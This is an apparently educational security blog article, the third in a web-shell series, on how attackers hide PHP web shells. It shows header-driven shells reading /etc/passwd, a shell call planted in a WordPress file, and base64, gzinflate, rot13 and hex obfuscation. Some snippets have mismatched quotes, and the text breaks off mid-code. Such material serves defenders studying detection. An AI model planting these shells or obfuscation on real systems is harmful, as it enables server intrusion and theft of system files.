Concealing Web Shells: A Continued Exploration (Part 3 of Web Shells Series)

Concealing Web Shells: A Continued Exploration (Part 3 of Web Shells Series)

In part 2 of this series, we looked at specific examples of web shells in the PHP programming language. In part 3 of this series, we’ll be looking at some techniques that attackers use to keep web shells hidden.


Commands can be sent to the web shell using various methods with HTTP POST request being the most common. However, malicious hackers are not exactly people who play by the rules. The following are a few of the possible tricks attackers can use to keep web shells under the radar.

Modifying Headers

Instead of passing the command via the $_POST request parameter, they use the user agent string.

<?php system($_SERVER['HTTP_USER_AGENT'])?>

The attacker would then craft specific HTTP requests by placing the command inside of the User-Agent HTTP header.

GET /demo/shell.php HTTP/1.1
    Host: 192.168.5.25
    Connection: keep-alive
    Pragma: no-cache
    Cache-Control: no-cache
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Upgrade-Insecure-Requests: 1
    User-Agent: cat /etc/passwd
    Accept-Encoding: gzip, deflate, sdch
    Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,el;q=0.4

The effects of this behavior can be seen in the server log, where, the HTTP User-Agent of the second request was replaced by the cat /etc/passwd command.

192.168.5.26 - - [28/Feb/2020:20:38:28 +0100] "GET /demo/shell.php HTTP/1.1" 200 196 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
    192.168.5.26 - - [28/Feb/2020:20:38:50 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "cat /etc/passwd"

The above method is noisy and can very easily tip off an administrator looking at server logs. The following one, though, is not.

<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
GET /demo/shell.php HTTP/1.1
    Host: 192.168.5.25
    Connection: keep-alive
    Pragma: no-cache
    Cache-Control: no-cache
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36Accept-Encoding: gzip, deflate, sdch
    Accept-Language: cat /etc/passwd

The method above leaves no visible tracks (at least in the access log) in regards to which command was executed.

192.168.5.26 - - [28/Feb/2020:20:48:05 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"

Hidden in Plain Sight

Most popular PHP shells like c99, r57, b374, and others use filenames that are well-known and will easily raise suspicion. They are blacklisted and can be easily identified. One of the simplest ways that attackers use to hide web shells is to upload them into deep subdirectories and/or by using random names.

http://www.example.com/includes/blocks/user/text_editor/bbja1jsf.php

A more effective way is to embed the web shell code into already existing, legitimate files.

http://www.example.com/index.php
    http://www.example.com/about.php

Or in the case of a CMS (for example, WordPress)

// http://www.example.com/wp-content/wp-blog-header.php
    
    if ( !isset($wp_did_header) ) {
    $wp_did_header = true;
    
    // Load the WordPress Core System
    system($_SERVER['HTTP_ACCEPT_LANGUAGE']);
    
    // Load the WordPress library.
    require_once( dirname(__FILE__) . '/wp-load.php' );
    
    // Set up the WordPress query
    wp();
    
    // Load the theme template
    require_once( ABSPATH . WPINC . '/template-loader.php' );
    }

Note: An attacker can use the @ operator before a function to suppress any errors that may be thrown and subsequently written to the error log.

Obfuscation

Attackers use various obfuscation techniques in order to avoid being detected by the administrators or by other attackers. They keep coming up with new and more sophisticated ways to hide their code and bypass security systems. Below we will see some of the most common techniques used.

Whitespace

By removing the whitespace from a block of code, it looks like a big string, which makes it less readable and harder to identify what the script does.

<?php 
    // Whitespace makes things easy to read 
    function myshellexec($cmd){
    global $disablefunc; $result = "";
    if (!empty($cmd)){
    if (is_callable("exec") && !in_array("exec",$disablefunc)) {
    exec($cmd,$result); $result = join("",$result);
    }
    }
    } 
    // Whitespace removed makes things harder to read 
    function myshellexec($cmd) {global $disablefunc;$result = "";
    if(!empty($cmd)) { if (is_callable("exec") and
    !in_array("exec",$disablefunc)){exec($cmd,$result); $result=join(" ",$result);}}} 
    ?>

Scrambling

Scrambling is a technique that can be used effectively in combination with others to help a web shell go undetected. It scrambles the code making it unreadable and makes use of various functions that will reconstruct the code when run.

<?php
    // Scrambled
    $k='c3lzdGVtKCdscyAtbGEnKTs=";$c=strrev("(edoced_46esab.""nruter')."'".$k."');";$f=eval($c);eval($f);
    
    // Unscrambled
    // base_64 encoded string -> system('ls -la');
    $k='c3lzdGVtKCdscyAtbGEnKTs=";
    // strrev() reverses a given string:   strrev("(edoced_46esab.""nruter')."'".$k."')
    $c= eval("return base64_decode('c3lzdGVtKCdscyAtbGEnKTs=");");
    // $c = system("ls -la');
    $f=eval($c);
    eval($f);

Encoding, Compression, and Replacement Techniques

Web shells typically make use of additional techniques to hide what they are doing. Below are some common functions that PHP-based web shells leverage to go undetected.

  • eval(): A function that evaluates a given string as PHP code
  • assert(): A function that evaluates a given string as PHP code
  • base64(): Encodes data with MIME base64 encoding
  • gzdeflate(): Compresses a string using DEFLATE data format; gzinflate() decompresses it
  • str_rot13(): Shifts every letter of a given string 13 places in the alphabet

The following examples all produce the same result, however, an attacker might choose to use more obfuscation techniques in order for the web shell to keep a low profile.

<?php
    // Evaluates the string "system('ls -la');" as PHP code
    eval("system('ls -la');");
    
    // Decodes the Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
    eval(base64_decode("c3lzdGVtKCdscyAtbGEnKTsNCg=="));
    
    // Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
    eval(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));
    
    // Decodes the compressed, ROT13 encoded, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
    eval(gzinflate(str_rot13(base64_decode('K64sLlbN1UPKKUnQzVZH0rQGAA=='))));
    
    // Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
    assert(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));
    ?>
    

Using Hex as an Obfuscation Technique

Hexadecimal values of ASCII characters can also be used to further obfuscate web shell commands. Let’s take the following string as an example.

system('cat /etc/passwd');

The following is the value of the above string in hexadecimal.

73797374656d2827636174202f6574632f70617373776427293b

Therefore, the following code can be used to accept a hexadecimal-encoded string and evaluate it as PHP code.

<?php <br ?--> // function that accepts a hex encoded data
    function dcd($hex){
    // split $hex
    for ($i=0; $i < strlen($hex)-1; $i+=2){ 
    //run hexdec on every two characters to get their decimal representation which will be then used by char() to find the corresponding ASCII character
    $string .= chr(hexdec($hex[$i].$hex[$i+1])); 
    } 
    // evaluate/execute the command 
    eval($string); 
    } 
    dcd('73797374656d2827636174202f6574632f70617373776427293b'); 
    ?>

The output would look similar to the below example.

The above examples can all be decoded using various tools, even if they are encoded multiple times. In some cases, attackers may choose to use encryption, as opposed to encoding, in order to make it harder to determine what the web shell is doing.

The following example is simple, yet practical. While the code is not encoded or encrypted, it is still less detectable than previous because it doesn’t use any suspicious function names (like eval() or assert()), lengthy encoded strings, complicated code; and most importantly, it will not set-off any red flags when administrators view logs (to a certain extend).

<?php
// Send a

Post Your Comment

Subscribe Our Newsletter

We hate spam, we obviously will not spam you!

Services
Use Cases
Opportunities
Resources
Support
Get in Touch
Copyright © TSP 2024. All rights reserved. Designed by Enovate LLC

Copyright © TSP 2024. All rights reserved. Designed by Enovate LLC